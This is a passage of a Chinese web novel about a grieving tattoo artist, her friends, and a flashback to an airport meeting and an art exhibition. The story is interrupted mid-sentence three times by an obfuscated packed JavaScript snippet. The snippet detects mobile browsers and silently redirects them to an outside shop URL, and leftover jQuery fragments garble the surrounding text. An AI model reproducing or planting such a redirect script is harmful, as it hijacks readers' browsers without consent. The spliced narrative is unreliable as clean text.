陈归澜:“……陈品妍,你是不是毒咖啡喝太多,把脑子喝坏了?” 也是来得勤了,陈归澜才注意到咖啡馆老板也姓陈。 陈品妍笑了笑,双手托腮:“哎,你说我俩要是真在一起,不光是百合,别人说不定还以为是骨科。” 陈归澜:“……头一次见给自己拉郎的,还是这种邪门的cp。” “那有什么?人生苦短,及时行乐。”陈品妍见楼梯有人往上走,凑到窗边招呼,“江敬寒,归澜在这里!” 江敬寒来这边无非是找陈归澜。 和江敬寒随便寒暄了几句,陈品妍起身进后厨继续研究她的咖啡,江敬寒顺势坐在了她坐过的位置。 “赵许一说,叫你出去玩,你没理他?” 陈归澜喝了一口咖啡,看向窗外。 窗外,云层低低压着,天色阴沉,雨丝细密如织,斜斜地飘洒下来,小雨淅淅沥沥地敲打在玻璃上,将外面的街景晕染成一片朦胧。 街对面的老槐树被雨水洗得发亮,叶子浓绿,在雨点的敲打下微微颤动,偶尔有几片早黄的叶子打着旋儿落下,黏在湿润的柏油路上。 行人撑着各色的雨伞,脚步匆匆,踩出一朵朵细小的水花。远处建筑的轮廓在水汽中显得模糊,只有近处咖啡馆暖黄的灯光在玻璃上投下淡淡的光晕,与外面的清冷形成温柔的对照。 雨水顺着玻璃蜿蜒滑落,留下交错的水痕,将窗外的世界分割成流动的碎片。空气里仿佛能嗅到秋雨后特有的湿润气息,混着泥土和草木的清新,丝丝沁凉透过玻璃隐隐渗进来。 “你们玩赛车的,是不是性格都很热烈?” 一个不怎么适合形容性格的词汇,但陈归澜找不出比这更贴切的词汇。白越、赵许一,都是这样,不加掩饰的热烈,近乎原始的肆意。 白越曾经说,要么不爱,要么爱得轰轰烈烈。 他也做到了,活着的时候爱得轰轰烈烈,死了之后那场熄灭的火还在烧着她。 “虽然没有他么那么热爱,但曾经好歹也是玩赛车的,看看我?”江敬寒半开玩笑地说出口。 陈归澜的视线移回来,落到江敬寒身上。 她不禁莞尔。 人不可貌相,光看外表,江敬寒的确不像是对赛车有兴趣的人。 “你还没回答我的问题。”江敬寒追问,“为什么不理他?” 这段时间,赵许一的确隔三岔五就叫她一起出去玩,有时候说江敬寒也在,有时候说在赛车场,她一次也没答应。 也不知道是什么孽缘,长得像,中间朋友是同一个,就连爱好也一样。 估计是被拒绝的次数多了,赵许一直接找了江敬寒。 陈归澜把咖啡当酒往嘴里灌。 酒辛辣。 咖啡苦涩。 生物,趋利避害,辛辣与苦涩都不是人尝着觉得美好的味道,有些人却总是沉溺于这些警示性滋味,也不知道是为了交换些什么。 “太像了,但他不是他,不喜欢。” 江敬寒无言。 “江敬寒,介绍他过来,你早就想到了这一点,对吧?”陈归澜定了定神,看他。 江敬寒也没打算隐瞒。 “没错,介绍他来找你,我的确有私心。”他和江敬寒认识的时间不短,不是早有目的的接近,他只是觉得,现在的时间、地点、契机,都正好。 陈归澜对他的做法很不理解:“你没有尊重我,也没有尊重他。” “赛车也算是极限运动,稍有不慎就可能丢掉性命。我问过白越,如果他死了,你怎么办。”江敬寒看着陈归澜,似乎在试探她的想法,“他说,如果他死了,让我转达,继续自己的人生,就当这一生没有遇到过他。当初我告诉你的时候,只说了这前半句,其实还有后半句——如果不能,那就找一个和他像的人,快意余生。” 陈归澜看着江敬寒。 白越到底还知道些什么?他的死像是有预言,他为自己谋划好了一切,为她谋划好了一切,就连无法当面说出口的遗言都以玩笑的方式让别人转达。 陈归澜喉头动了动,扭过头:“不是他,是赵许一。对他不公平。” 陈归澜深呼吸一口气,重新看向江敬寒:“没有人愿意当另一个人的替身。” “如果爱是真的,是不是替身重要吗?”江敬寒反问。 “当然重要!”陈归澜盯着江敬寒,一字一句,“目的不纯粹,从一开始就错了。” 陈归澜顿了顿,将面前的咖啡一饮而尽,起身离开。 咖啡的苦涩从口腔污染到喉咙,像一场无声蔓延的火灾,烧过味蕾,烧过食道,最终在胃里落下滚烫的灰烬,留下满目疮痍。 江敬寒看着陈归澜离开的背影,垂下眼眸。 他忽然在想,是他不了解她,还是白越不够了解她。 陈品妍走过来,在他对面坐下,看见他阴沉的脸,眨了眨眼睛,无辜道:“帅哥,喝点什么?这里除了老板和店员,什么都可以带走,包括房东。” 江敬寒嘴角没什么弧度,笑了笑:“租客要卖房东,房东本人知道吗?” 陈品妍耸耸肩:“无所谓,反正那个时候,她已经被我卖出去了。你卖房东,不也没让她知道吗?” “她知道了。” “那是她聪明,不是你告诉她的。”陈品妍收起那副无所谓的态度,看着江敬寒,严肃道,“未来做出什么选择,拥有什么样的人生,都是她自己的事,忘记白越、爱上新人也好,找替身也好,花一辈子思念白越也好,这都是她自己的事情,与你无关,江敬寒,除非——” 陈品妍嘴角上扬,仿佛刚才说出那番话的不是她:“除非,你要为她的人生负责。” 陈品妍站起身,伸了个懒腰:“看来这位客人不想点单,有需要再叫我。” “我是心理医生,只根据病人病症提供治疗方案,不直接为治疗的最终效果负责。”江敬寒站起身,并没有认同她的想法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900382|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但你的治疗方案不对,心理医生不可以对具有完全行事能力的病人强制用药。房东不卖了,我自己留着,客人请便。” - 自己联系不上人,找共同朋友间接联系也无果,赵许一直接跑到陈归澜的纹身店。 今天是个大晴天,午后阳光斜斜地照进纹身店。 上午米利安的客人离开之后,店里就安静了下来。陈归澜把两个人打发出去散步了,自己则留在店里虚度时光,顺便播放着新淘来的唱片。 充满力量又带着悲怆的旋律从唱片机流出,主唱高亢的嗓音与激烈的吉他、钢琴声交织,像一场席卷一切的情绪风暴。 她靠在柜台边,指尖随着鼓点轻轻敲击,看着光线里浮动的微尘出神。 自从白越去世,她的大部分时间都用来放空了,好像活得潇洒肆意是对白越的背叛……明明心里清楚,这样不对,这样不好,这样不是白越所希望看到的,但她就是没办法。 知道无尽的雨会导致灾难,但她终究只是个凡人,无法堵住漏了的天。陈归澜摇摇头,索性不去想。 音乐声末歇,风铃声响起。门被推开,一个身影带着外面的热气闯了进来,堵住了门口的光。 陈归澜抬眼:“这位客人,不接急单,麻烦预约。” 知道陈归澜在开玩笑,赵许一扯了扯嘴角,在旁边待客的沙发上坐下,身体陷下去。 “就别开我玩笑了。最近有点事,烦。” “看出来了。”陈归澜打量着他,“眉头能夹死苍蝇。提前说好,纹身可以预约,送鬼免谈。对了,眼镜记得还给我。” 赵许一忽然从口袋里掏出一袋软糖,扔到陈归澜怀里。 “橘子软糖,味道还不错。对了,忘了问你,你那眼镜怎么那么神奇?戴上就能看见鬼魂,是不是你用了什么魔法?” 陈归澜白他一眼,顺手把软糖放在柜台上:“我妈妈做的。是科技的力量,不是什么魔法。” 其实,就连她也不知道,所谓的科技是什么。反正妈妈离世后,有一批人过来带走了那副眼镜,忙里忙外研究了几个月,什么也没研究出来,最后又慌张地还了回来。 陈归澜抓住其中一个跑得慢的研究员,问他发生了什么,为什么还了回来。 研究员说,他们什么都研究不出来,他们被缠上了。 陈归澜不知道他们被什么缠上了,或许是鬼吧。总之,再也没有人过来要那副眼镜,她尝试着把眼镜送去某些机构,售出也好,捐献也罢,让他们研究,但他们都唯恐避之不及。 “什么科技,这么厉害?”赵许一没把那副眼镜拿出来,只是掩饰,“那么重要的东西,我当然不能随身带着,下次有机会再还给你。” 陈归澜:“我要是知道是什么科技,早就发大财了。” 两人有一搭没一搭地闲聊了几句,赵许一有些心不在焉。 陈归澜看出来他的魂不守舍,索性直接问:“想些什么呢?” “不瞒你,我有个朋友,想纹身。” “……”陈归澜动作一顿,随即转身继续收拾东西,“如果是你上次说的那个人,免谈,杀人犯的儿子,我不接。” 赵许一不急不徐道:“你同情的那个人,她也是杀人犯的女儿。” 15. chapter 15 陈归澜的手顿住,下一秒,她抓起台面上那包橘子软糖,狠狠砸到赵许一身上。 “赵许一我告诉你,他发生了什么我无权过问,他要纹什么在哪里纹我也管不了,但我不接这一单。”陈归澜盯着赵许一,声音冷硬,“出去,我要闭店了。” “你连他要纹什么都不问,就果断拒绝?” 陈归澜懒得再跟他废话,把他从沙发上提起来往门口推:“你给我出去,我说过了,不管他纹什么,我不接!” 赵许一没想到陈归澜的力气大得出奇,一时间没反应过来,人已经被推到了门口。 “下次来,把眼镜还我,然后就不要再见面了,我就当不认识你。出去!”陈归澜稍稍用力,把赵许一推出店门,然后利落把门关紧。 赵许一被门口的门槛绊了一下,踉踉跄跄往后退,撞进一个人的怀里。 “这又是怎么了?”江敬寒猝不及防被赵许一撞了一下,微愣,然后顺势把人接住。 赵许一站直身体,理了理打褶的衣服,缓了缓,气道:“她有病吧?她同情的人是她所谓杀人犯的女儿,我说要她帮忙纹身的是所谓杀人犯的儿子,同一个亲爹,同一个亲妈,他们是亲姐弟,这有差吗,她怎么还区别对待?” 江敬寒抿唇:“那要看被杀的人是谁了。” 如果被杀的人是其他人,那他们就没差。但如果被杀的是女儿,这其中的差别就大了去了。 “……是姐姐。” 其实赵许一也知道,虽然不是真正的杀人犯,但逼得姐姐自杀,他们一家也称得上一句杀人犯。 江敬寒凝重地看着赵许一:“所以,差别很大。” 赵许一梗着脖子不服输:“逼得姐姐自杀的人是她的父母,不是她的弟弟,陈归澜为什么要把错怪在弟弟身上?这世界上,本来就没有完美的人。纹个身而已,她怎么那么凶?” 江敬寒移开视线,叹了口气。 世上从无完人,再剔透的灵魂也终将在岁月磋磨中褪色,生出晦暗的纹理。可偏偏有人,在还来不及展露那些缺憾时就戛然而止。于是,在他最珍视的人心里,他永远停驻在最美的年华,凝成不朽的琥珀,此后万千过客,再无人能及。 这一瞬间,江敬寒好像忽然懂了为什么陈归澜讨厌赵许一。不是赵许一多不好,而是和白越比起来,他们看上去很像,但又截然不同。 “认真道个歉吧,如果你还想要她帮忙的话。” 赵许一噎了一下,喉结滚动。他盯着那扇紧闭的店门看了半晌,终于抬手,用力抹了把脸。 他重新推开店门时,风铃撞得有些急促。陈归澜正背对着他收拾东西,听见动静,动作没停。 “对不起。”赵许一声音干涩,“刚才的话,我说过了。” 陈归澜没回头。 “阮阳昭他……”赵许一艰难地组织着语言,“和他爸妈不是一类人。他想纹他姐姐的名字,是因为愧疚,也是因为……那是他现在唯一能为他姐姐做的事了。” 他停顿了很久,才低声道:“算我又欠你一次。” 陈归澜终于转过身,目光在他脸上停留片刻。她没说话,只是走到前台,打开电脑,将预约提上日程。 “下周三下午带他过来。”她语气平淡,听不出情绪,“别迟到。” 赵许一明显松了口气:“谢了。” 事情结束,赵许一的心情终于没那么沉重,主动打破严肃的氛围:“归澜,正好今天江敬寒也在,我请你们吃饭吧?” 陈归澜眼也不抬:“再说吧,今天还有事。” 江敬寒看出陈归澜的心情仍然不好,暗中拍了拍赵许一的胳膊,让他不要急着把不愉快抹去。 “那就下次有时间再去吧。赵许一,先回去吧。” 赵许一点头,先一步离开。 陈归澜在气头上,看江敬寒也不顺眼:“你怎么不走?” 江敬寒被噎了一下,但也没有离开。 “当然是看,你会不会哭。” “……滚。” 虽然有点交情,为她鸣不平,但也不至于当场哭出来。 “那个姐姐……你认识?”江敬寒问。 江敬寒还算了解陈归澜。她算不上有同情心的人,只有当对方的命运轨迹与她的生命真实交错,她才会在那人离去时感知到某种空缺,意识到具体存在的消逝。 陈归澜沉默地看着洒进来的阳光。 那是一个明媚的夏天,太阳却像今天一样温和。 太温和了,温和得不像夏天。 “江敬寒,你觉得,我们是什么关系?” “朋友?”江敬寒自以为,他们算得上朋友。 陈归澜:“如果我去世了,你会难过吗?” 陈归澜没头没脑的一句话吓得江敬寒背后冒冷汗。根据他这段时间的观察,陈归澜的情况虽然没怎么好转,但也不至于恶化到想不开,怎么会突然这么问? 陈归澜:“在你眼里,我的这一生算什么,你在我的人生里,是什么角色?” “如果非要定义的话,”他缓缓开口,“我大概是那个……在你演出时,坐在台下的观众。” “观众?”陈归澜挑眉。 “对,观众。”江敬寒点头,“你的这一生,是你自己独一无二的作品。而我,只是一个有幸能在最近距离观看,并且……会在散场后,因为再也看不到下一场而感到真切遗憾的那个人。” 陈归澜听完,低声重复,目光飘向窗外车水马龙的虚空。 陈归澜:“观众……是啊,观众。有时候,我觉得我才是那个永远的观众。坐在台下,看着别人的人生一幕幕上演,看着他们的喜怒哀乐,悲欢离合。” “纹身店里来来去去的人……包括你,”她淡淡地笑着,笑意却不达眼底,“你们的笑,你们的泪,你们的故事,我都看着,听着。或许我会帮忙刻下一个印记,但我改变不了任何故事的走向,也留不住任何一个要离开的人。” 陈归澜:“我只是一个过客,记录下一些痕迹,然后……无能为力地看着所有人在我的生命里,来了,又走了。” “阮阳昭的……姐姐?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903653|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。” - 一年前的夏天。 机场抵达层的喧嚣像一层厚重的背景音,将阮阳昭隔绝在自己的世界里。 周围是拖着行李箱行色匆匆的人流,焦急张望的接机者,还有旅行团嘈杂的喧闹。但他仿佛自带一个透明的屏障,将这些纷扰都柔和地推开。他的目光并没有聚焦在任何一个具体的点上,只是懒散地掠过那些陌生的面孔和机场商店的霓虹招牌。 偶尔,他会抬手用指关节无意识地轻轻敲击窗框,节奏散漫,目光追随着窗外跑道上缓缓滑行的飞机,直到它们消失在视野尽头。 明亮而柔和的光线穿过那层被烟尘晕染过的、失真的夏日天穹,再透过巨大的玻璃幕墙,落在他干净的脸上,将他额前几缕微卷的黑发染成柔软的浅棕色。光线如此温和,以至于连他轮廓分明的侧脸,也仿佛被蒙上了一层柔光。 他斜倚着巨大的落地玻璃窗,修长的身形在光洁如镜的地面上投下清晰的倒影。一件质地柔软的浅灰色T恤,搭配水洗牛仔裤,浑身上下唯一的亮色是脚上那双限量版球鞋,却也不显张扬。 他精心研究的穿搭。 薛离那小子,大学出国念的服装设计,四年里他们只有去年见过一面。在“自由”的国度修炼了几年,薛离的审美可谓是突飞猛进,头发丝都精致到反光,还一个劲嘲笑阮阳昭的小学生穿搭。 这回,他可是下了点功夫。 机场内的屏幕滚动播放着一则简短的气象科普片。 “受北纬62度持续性森林火灾影响,平流层气溶胶浓度异常升高。预计未来三周内,本市将持续出现阳伞效应,日照强度减弱37%,紫外线等级降至春秋季水平……” 这些他都没兴趣听。 就算明天天塌下来,他也只会和薛离在饭店,或是在篮球场,没有任何事情能改变他的计划。 航班延误了两个小时,他百无聊赖地刷着手机,耐心即将告罄。 他改主意了。 本来今天为了庆祝好友回国,他要请薛离吃饭。但这小子的航班已经浪费了他两个小时,这顿饭必须对方请。 饭店订好了,叫“招摇”,符合薛离的调性。 就在他准备再次走向服务台询问时,视线不经意地扫过不远处的休息区,然后定住了。 靠窗的位置,坐着一个女孩。 她穿着一件简单的亚麻色连衣裙,低头专注地看着摊在膝上的速写本,铅笔在纸面上发出沙沙的轻响。异常柔和的光线透过玻璃,勾勒出她清瘦的侧影和低垂的睫毛。她周身笼罩着一种与机场喧嚣格格不入的静谧,像一幅被时光遗忘的古典油画。 阮阳昭的心跳莫名漏了一拍。 他下意识地放轻脚步走了过去。 他想看清她在画什么。 或许是他的靠近带来了气流的扰动,或许是巧合,女孩手边的几张画稿被不知从何而来的微风拂落,散了一地。 这场邂逅是谁的对错都不重要,或许是风任性惯了,故意要在他们之间搅起一场无法回避的飓风。 16. chapter 16 “抱歉!”阮阳昭立刻蹲下身帮忙拾取。 画稿上是各种机场百态:依偎着打盹的老夫妇,盯着航班信息屏神色焦虑的商务客,还有一张,是他刚才靠在柱子边看手机时,略带不耐的侧影。线条简洁流畅,捕捉神韵极准。 “画得真好。”他由衷赞叹,将画稿递还。 女孩抬起头,道了声“谢谢”。 “随便画画,消磨时间。”她接过画稿,动作轻柔地将它们理齐。 “刚到?”阮阳昭在她旁边的空位坐下,很自然地搭话。 他注意到她手边的行李箱上贴的标还没撕下来。 “嗯。”女孩点了点头,目光又落回速写本上,似乎不打算继续交谈。 阮阳昭却不气馁,追问:“也在等人?” 没什么营养的聊天内容。 “嗯。”女孩还是低头整理着速写本,把里面的纸张一张纸理好,夹在一起,往背包里放。 他看到她速写本边缘露出一角书封,是博尔赫斯的诗集。 “你也喜欢博尔赫斯?” 女孩有些意外地抬眼看他。 “我喜欢他那句,‘天堂应该是图书馆的模样’。”阮阳昭笑起来,露出一口算不上整齐的白牙,像这个失真的夏日阳光。 女孩紧绷的神情似乎松动了一丝,她轻声接道:“但他也说,‘时间是组成我的物质’。” “时间是一条载我飞逝的大河,而我就是这条大河。”阮阳昭流畅地接了下去。 北城的交通堵得要命,尤其是早晚高峰。但不知道为什么,今天的中午,川流不息的车从西四环堵到了东六环,迟到两个小时,陈归澜终于气喘吁吁地赶到机场。 “瑞晓!” 看见陈归澜,阮阳昭招了招手,然后合上速写本,站起身。 “我要走了。”她对阮阳昭说。 “等等,还没问你名字和联系方式……” 女孩犹豫了一下,只是指了指速写本签名处的一个缩写:R.X.。 她不想让陌生人知晓她的名姓,更不会给陌生人她的联系方式。 有缘自会相见,无缘……有联系方式又怎样?只要不主动打出那通电话,再深厚的情缘都没用。 女孩拖着行李箱朝陈归澜快步走去,陈归澜道歉:“瑞晓,不好意思,今天太堵了,害你在机场等了这么久。” 前段时间,陈归澜偶然在网上看见几张画作,普通铅笔画的,有时候画在A4纸上,有时候画在作业本上。线条明朗,风格简单,又有自己的表达。 作者“R.X.”。 年初的时候,她在家里找到几本白越的画册。因为受潮,画册有好几页都糊掉了,线条融在一起,歪歪扭扭,严重的甚至看不出他曾经要表达的是什么。她想过修复那几张,但画画的技术实在有限。于是,她点开了R.X.的主页。 联系上作者后,陈归澜邀请她来北城帮忙修复画作,并得知R.X.本名阮瑞晓。 阮瑞晓摇摇头,温和地笑着:“没事。还要感谢你为我这趟出行买单,不然,还真没机会来北城。” “哪里的话,是我有求于你,报销车旅费是应该的。” “说不上求不求的,我很喜欢白老师的画册,能帮上忙也是我的荣幸。” 或许是不愿意再提起白越,陈归澜深呼吸:“酒店在我家附近。这段时间,修复的工作麻烦你来我家完成,其他的事情我们可以一起在北城逛逛。你有想去的地方吗?” “我……”阮瑞晓想了想,“没什么特别想去的地方。如果可以的话,我可以挑一天,自己出去逛吗?” “当然可以,这是你的自由。”陈归澜诧异于阮瑞晓会因为这个问题纠结。 陈归澜:“你放心,到酒店我会给你一笔旅行经费,你怎么花都可以,多退少补。” 通过R.X.的主页内容,陈归澜大致猜测阮瑞晓的家庭情况不是很好。这次来北城又是她找阮瑞晓帮忙,理应负责开销。 “谢谢你,归澜。”阮瑞晓诚恳地道谢。 - 陈归澜为阮瑞晓预定的住处是家附近一家由老四合院改造的民宿,交通方便,房东太太也住在里面,人还不错。 院子里有棵百年槐树,枝叶繁茂,遮住大半暑气。 房间干净简洁,窗台上放着一盏手工陶灯,灯光柔和。 “这段时间你先住在这里,如果有什么不适应直接跟我说,我来解决。”阮瑞晓是南方人,陈归澜担心她不适应北城的气候和人情,特别叮嘱,“千万不要觉得是给我添麻烦,画家要状态好,才能画出更好的内容。” “好,我会尽全力的!”阮瑞晓好像并没有注意到后一句话是为了突出前一句话,只听到要画出更好的内容。 放下行李后,两人步行去附近吃饭。 街边梧桐投下斑驳的影,蝉鸣稀疏,不似盛夏。 “除了铅笔,你画画还会用到什么工具?”陈归澜问,语调平缓。 陈归澜想,分别的时候,送阮瑞晓一套画画的工具,如果她对电子画板感兴趣,也可以送一套电子画板。 “我自学的画画。”阮瑞晓低着头回答,“手边有什么,就用什么画,没有特定的工具。” 难怪……陈归澜忽然想到R.X.的作品里,除了线条,色块的边缘都是朦胧模糊的,泥土是泥土的颜色,树叶是树叶的颜色。 看来,陈归澜可以送她两套工具。 - 餐厅“招摇”占据着环球金融中心顶层的最佳观景位,名字张扬,装潢更是将低调的奢华做到极致,鱼肚白大理石墙面,原木定制长桌,工匠手工打造的水晶吊灯如瀑布倾泻,成千上万颗切割精细的水晶折射出并不刺眼的光。 薛离慵懒地陷在沙发里,修长手指有一下没一下地敲着杯壁,看着对面心不在焉翻菜单的阮阳昭,挑眉敲了敲桌面。 “喂,四年不见,你就用这张魂不守舍的脸给我接风?我人都坐这儿了,你的魂儿还留在哪个角落?” 阮阳昭合上菜单,没好气地瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912727|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼:“少来。你迟到两小时的账我还没跟你算。这顿你请。” “行行行,我请。”薛离举手作投降状,手腕上的机械表在水晶灯下闪了闪,嘴角却噙着玩味的笑,“说说吧,刚才在机场,是不是有什么奇遇?之前还好好的,现在你这脸上就差写上‘春天来了’四个字,虽然现在夏天都过得半死不活。” 阮阳昭被他说得一噎,下意识地摸了摸自己的脸颊,仿佛真能摸到那藏不住的异样。他靠在舒适的椅背上,身体陷进柔软的沙发里,目光再次投向窗外。 此时夜色渐浓,城市的灯火次第亮起,像散落人间的星辰,将天际线勾勒得愈发清晰。 “遇见一个女孩……感觉很特别。”他简单描述了阮瑞晓的样子,以及那场因风而起的短暂交谈,提到她的画和博尔赫斯。 “R.X.?就一个缩写?”薛离嗤笑,“阮阳昭啊阮阳昭,你也有今天!连人家名字都没问出来,联系方式都没有一个,就在这儿单相思?北城多大啊,人海茫茫,你上哪儿找去?” “感觉不一样,薛离。”阮阳昭难得收起了平日里的淡然,语气带着几分认真,却又忍不住自嘲地笑了笑,指尖无意识地摩挲着杯壁,“我知道听起来很傻,但就是莫名其妙,忘不掉。” 明明半天不到,她的样子却开始变得模糊了。 薛离看着他脸上带着点迷茫的认真,收起了几分玩笑的神色,端起水杯喝了一口:“行,纯情少年。那你打算怎么办?满北城贴寻人启事?‘寻找R.X.小姐,特征:安静,会画画,喜欢博尔赫斯’?” “滚蛋。”阮阳昭笑骂,“随缘吧。或许……真的没缘分。” - 陈归澜家的书房有一张面落地窗。 午后的阳光透过玻璃窗洒在地板上,被窗格切割成几块朦胧的、近乎长方形的光斑。 阮瑞晓伏在宽大的工作台上,肩背微微弓起,修复白越留下来的画册。 陈归澜端着一杯水进来,轻轻放在桌角,没有打扰。 画册上,那些被水渍晕开、线条模糊断裂的地方,正被阮瑞晓用极轻、极耐心的笔触,一点点重新连接、勾勒,在阅读那些残存的痕迹,顺着纸张纤维里留下的印记,揣摩着原作者下笔时的力道和意图,然后小心翼翼地缝合。 “这里,”阮瑞晓忽然轻声开口,没有抬头,笔尖悬停在一处尤其模糊的色块上方,“原来应该是一道向右的弧线,很轻快。你看这边缘,虽然糊了,但还留着一点起势的尖。” 陈归澜凑近细看,果然在那团混沌里看出一点微妙的指向。 “你好像……很懂这种修复。” 阮瑞晓的笔尖顿了顿,依旧没有抬头。 “小时候,没什么玩具。唯一的乐趣就是捡别人丢掉的旧书本,或者墙上剥落的碎海报。很多画都模糊了,破损了。我就自己猜,原来这里画的是什么,然后用能找到的笔,按照自己的想法把它补全。”她声音很平,听不出情绪,“后来才知道,这大概算一种……野蛮生长的修复。” 17. chapter 17 陈归澜沉默了片刻。 她想起R.X.主页上那些画在各种废弃纸张上的作品。那不是刻意追求的风格,而是条件限制下的必然选择。 坚韧原来是在这种看似窘迫的土壤里生根发芽。 “会觉得辛苦吗?”陈归澜问了一个她一直想问的问题。 无论是修复,还是她的人生,陈归澜都想这么问一句。 阮瑞晓终于抬起头,看向陈归澜。 “能触碰到自己喜欢的画作,理解它,甚至参与它的重生,怎么会辛苦?”她微微笑了一下,“感觉更像是一种……对话。隔着时间和空间,和原作者,也和这些线条本身。” 她重新低下头,笔尖再次落下,声音轻得像自言自语:“每一道模糊的痕迹,可能都藏着一个没讲完的故事。我只是……试着帮它把故事讲完。” 她只回答前一个问题。 陈归澜不再追问,而是换了个话题。 “前两天朋友送了两张艺术展的门票,主题是‘痕迹与记忆’,听说展品涵盖古典修复作品和当代先锋艺术。”陈归澜邀请道,“一起去看看吧?” 阮瑞晓抬头,欣然同意:“好啊。” 艺术展的举办地点在城西艺术中心,离陈归澜的家不远。 城西艺术中心的主体建筑由浅灰色混凝土构成,没做成砖墙,看上去线条冷硬,拒人于千里之外。 入口处,开发方保留了几棵老槐树,枝叶在半空中交织,在粗粝的地面上投下细碎而晃动的光斑。正午已过,暑气却被高墙与树荫隔绝了大半,只有偶尔穿过枝叶缝隙的风,带着一丝若有若无的凉意。 来看展的人三三两两,步履并不匆忙,他们的低语与鞋底摩擦地面的声音,在开阔的建筑前庭里显得格外清晰,又迅速被更大的寂静吞没。阳光在这里失去了锋利的边缘,一切都像是被罩在一层失真的、带着些许怀旧色调的滤镜里,模糊了现实与艺术的边界。 薛离为了拯救疑似陷入相思病的朋友,找朋友要了两张艺术展的门票,硬是把阮阳昭拖了出来。 “多接触点艺术,熏陶一下你那被篮球和游戏填满的灵魂,”薛离揽着阮阳昭的肩膀,几乎是半强迫地将他拉出门,“说不定在哪幅画旁边,能遇见你的缪斯呢?总比你在家空想强。” 阮阳昭拗不过他,只得蔫头耷脑地一起去。 艺术展设在城西艺术中心,分A、B两个主要展厅。A厅主打“记忆的追溯”,集中展示修复后的古典画作和历史手稿,光线明亮,氛围沉静;B厅则是“痕迹的现场”,更多是当代艺术家利用各种媒介创作的、探讨时间与存在主题的作品,灯光幽暗,布局更具冲击力。 阮阳昭对这类展览兴趣缺缺,进了A厅,目光便百无聊赖地在稀疏的观众间游移,脑海里盘旋的还是机场那个惊鸿一瞥的身影。 就在他准备催促薛离离开时,目光倏地定住。 不远处,一个穿着亚麻色长裙的女孩正背对着他,专注地看着一面挂满小型素描的墙。 心脏猛地一跳,他几乎要脱口喊出声,可他甚至不知道她的名字。 他下意识地加快脚步,几乎是拨开人群朝着那个背影走去。 越靠近,心跳越快……就在他快要走到她身后,准备伸手拍她肩膀时,女孩似乎感应到什么,恰好转过身来。 那是一张完全陌生的脸,带着些许被打扰的疑惑看着他。 阮阳昭僵在原地,巨大的失落感像冰水当头淋下。他张了张嘴,喉头发紧,干巴巴地挤出一句“抱歉,认错人了”,便狼狈地退开,撞上跟上来的薛离。 “又魔怔了?”薛离看着他失魂落魄的样子,无奈叹气,“之前怎么没见你这么执着?就一面之缘,让你惦记好几天……走吧,去B厅转转。” 两人刚走到连接A、B厅的过渡休息区,一个略带惊喜的声音叫住了两人。 “阮阳昭?薛离?这么巧!” 两人回头,看到赵许一正笑着朝他们走来。 赵许一是他们初中时的同学,说不上熟悉,但也是一起打闹过的同学。北城说大不大,说小不小,没有刻意约好还能遇见,也是缘分。 “赵许一?”阮阳昭勉强打起精神,“你也来看展?” 阮阳昭记得,初中的时候赵许一就老喜欢往赛车场跑,看展实在不像赵许一的风格。 “别提了,被我妈硬拉来的,说是要培养什么艺术细胞。”赵许一夸张地揉了揉脖子,随即看向他俩,“还是跟你们一起自在。你俩看完展有事没?我知道附近新开了家不错的店,一起吃饭?” 阮阳昭兴致不高,刚想拒绝,薛离却抢先一步揽住他和赵许一的肩膀:“去!必须去!正好给这位……” 他指了指阮阳昭:“给这位失意的登徒浪子换换心情!” “什么登徒浪子……”阮阳昭作势要拿开薛离的手,却被拽得更紧。 “反正一个意思。走了走了,吃饭。” B厅深处的光线比A厅的更为幽暗,几乎全部聚焦于展品本身。 阮瑞晓完全沉浸其中,尤其是在几幅用综合材料拼贴、刻意模仿时间侵蚀与物理磨损痕迹的大型画作前,她驻足良久。 她的指尖隔着空气细细描摹画面上断裂的线条和斑驳的色块,仿佛正穿越一切表象,与作品背后那个挣扎或沉默的灵魂进行着一场无声的深度对话。 陈归澜则安静地跟在她身侧,不去打扰这份沉浸。 直到阮瑞晓在一幅名为《蚀》的作品前站了将近十分钟,陈归澜才轻声开口。 “这幅作品的艺术家,试图用工业废料和自然风化的木片,模拟城市记忆被时间冲刷后的状态。很多人觉得过于……破碎。” 阮瑞晓的目光依旧流连在那些粗粝的、仿佛随时会剥落的肌理上,轻轻摇了摇头:“不是破碎。” 她声音很轻:“是沉淀。你看这些交叠的层次,每一层被覆盖、又被重新暴露的痕迹,都不是消失,只是变成了新的现在。就像……” 她顿了顿,似乎在寻找合适的词语:“就像博尔赫斯说的,‘时间是组成我的物质’。这些痕迹,就是这幅画的时间 